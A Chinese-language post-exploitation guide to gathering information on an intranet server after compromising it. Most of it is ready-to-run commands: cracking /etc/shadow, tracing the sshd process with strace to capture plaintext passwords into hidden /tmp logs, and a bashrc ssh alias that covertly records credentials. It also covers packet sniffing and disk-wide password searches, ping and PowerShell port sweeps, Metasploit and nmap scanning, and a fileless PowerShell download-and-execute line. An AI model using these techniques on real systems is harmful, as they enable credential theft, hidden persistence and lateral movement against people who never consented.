內網服務器如何進行信息收集

密碼域密文由三部分組成，即：idsalt$encrypted。當id=1，采用md5進行加密，弱口令容易被破解。

當id為5時，采用SHA256進行加密，id為6時，采用SHA512進行加密，可以通過john進行暴力破解。

wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
make clean linux-x86-64
 ./john /etc/shadow

03、mimipenguin抓取密碼

一款Linux下的密碼抓取神器，需要root權限運行，通過轉儲進程并提取很可能包含明文密碼的行來利用內存中的明文憑證，目前支持Kali、Ubnutu等操作系統。

https://github.com/huntergregal/mimipenguin

04、使用Strace收集登錄憑證

strace是一個動態跟蹤工具，堪比鍵盤記錄器的存在，可用來收集登錄憑證。

（1）獲取sshd進程明文密碼

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

使用正在來匹配用戶和密碼

# 查找用戶名和密碼
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
# 結果形式如下
[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9

（2）收集ssh登陸憑證

# 添加命令別名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令別名立即生效
source ~/.bashrc

通過grep 找到匹配行的后8行，可以根據密碼長度調整行數

grep -A 9 'password' .ssh-25Sep091601017212.log

05、tcpdump 抓包分析

抓取數據包進行分析，獲取明文賬號密碼，比如ftp、telnet、http。

tcpdump -i ens33 port 23 -w test.cap

06、全盤搜索敏感信息

全局搜索配置文件、腳本、數據庫、日志文件是否有包含密碼。

grep -rn "password=" /

07、swap_digger

一個用于自動進行Linux交換分析bash腳本，自動進行交換提取，并搜索Linux用戶憑據，Web表單憑據，Web表單電子郵件，HTTP基本身份驗證，WiFi SSID和密鑰等。

github項目收集：

https://github.com/sevagas/swap_digger

08、Impost3r

一個利用C語言編寫,用來竊取linux下各類密碼(ssh,su,sudo)的工具。

github項目收集：

https://github.com/ph4ntonn/Impost3r

存活主機探測

在滲透中，當我們拿下一臺服務器作為跳板機進一步進行內網滲透時，往往需要通過主機存活探測和端口掃描來收集內網資產。

我們將主機掃描的場景大致可分為三種，1）直接在webshell下執行，通過系統自帶命令或上傳腳本工具進行掃描探測 ；2）通過反彈shell進行內網滲透，msf等滲透測試框架自帶一些掃描模塊；3）通過socks代理掃描內網（例如 proxychains+Nmap掃描）。

在合適的場景下，選擇最合適的武器。比如支持存活探測的協議，包括了 ARP、ICMP、SMB、 UDP、NETBIOS、SNMP協議等；支持端口掃描的方式，包括ACK掃描、SYN掃描、TCP掃描、UDP掃描、ICMP掃描等。

01.ping

我們經常通過ping檢查網絡連通性，通過telnet來測試指定端口連通性。使用系統自帶的命令來完成C段探測，雖然效率低，但不容易觸發安全規則。如果服務器開啟了防火墻或者禁ping，那么就會影響探測結果。

Windows下使用ping命令掃描C段：

for /l %i in (1,1,255) do @ping 192.168.64.%i -w 1 -n 1|find /i "ttl="

Linux 下使用ping命令掃描C段：

for k in $( seq 1 255);do ping -c 1 192.168.99.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

另外，還可以結合系統自帶的traceroute、arp 、netstat等命令收集內網信息，curl、wget可以用來做端口探測。

2.Powershell

通過powershell腳本掃描IP地址存活：

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"

腳本下載地址：https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b

用PowerShell實現基本的端口掃描功能。

針對單個IP的多個端口的掃描：

PS C:\Users\Bypass> 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"} 2>$null

針對某IP段中單個端口的掃描：

foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}

針對某IP段 & 多個端口的掃描器

1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}

3.基于MSF的內網主機探測

使用msf進行反彈shell進行內網滲透時，通過msf自帶的掃描模塊進行快速掃描。

主機存活探測：

auxiliary/scanner/discovery/arp_sweep   ARP掃描
auxiliary/scanner/discovery/udp_sweep   UDP掃描
auxiliary/scanner/netbios/nbname        NETBIOS掃描
auxiliary/scanner/snmp/snmp_enum        SNMP掃描
auxiliary/scanner/smb/smb_version       SMB掃描

端口掃描：

auxiliary/scanner/portscan/ack          TCP ACK端口掃描
auxiliary/scanner/portscan/ftpbounce    FTP bounce端口掃描
 auxiliary/scanner/portscan/syn         SYN端口掃描
auxiliary/scanner/portscan/tcp          TCP端口掃描  
auxiliary/scanner/portscan/xmas         TCP XMas端口掃描

04、Nmap

Nmap是一個端口掃描器，可用于主機發現、端口掃描、版本檢測、OS檢測等。

使用場景：建立socks代理，proxychains+Nmap掃描內網。

支持多種掃描模式：

-sT: TCP 掃描
-sS: SYN 掃描
-sA: ACK 掃描
-sF：FIN掃描
-sU: UDP 掃描
-sR: RPC 掃描
-sP: ICMP掃描

快速掃描所有端口：

nmap -sS -p 1-65535 -v 192.168.99.177

內網端口掃描

1、利用telnet進行端口掃描

快速探測主機是否存在常見的高危端口

telnet 192.168.0.2 22 telnet 192.168.0.2 3306

2、Metasploit端口掃描

Metasploit滲透測試利器，提供了很多漏洞利用、掃描功能。

auxiliary/scanner/portscan/ack ACK防火墻掃描
auxiliary/scanner/portscan/ftpbounce FTP跳端口掃描
auxiliary/scanner/portscan/syn SYN端口掃描
auxiliary/scanner/portscan/tcp TCP端口掃描

使用auxiliary/scanner/portscan/tcp模塊示例

use auxiliary/scanner/portscan/tcp
show options

3、PowerSploit的Invoke-portscan.ps1

無文件形式掃描：

powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘ -Hosts 192.168.1.0/24 -T 4 -ports ‘445,1433,80,8080,3389’ -oA c:\ProgramData\ip_info”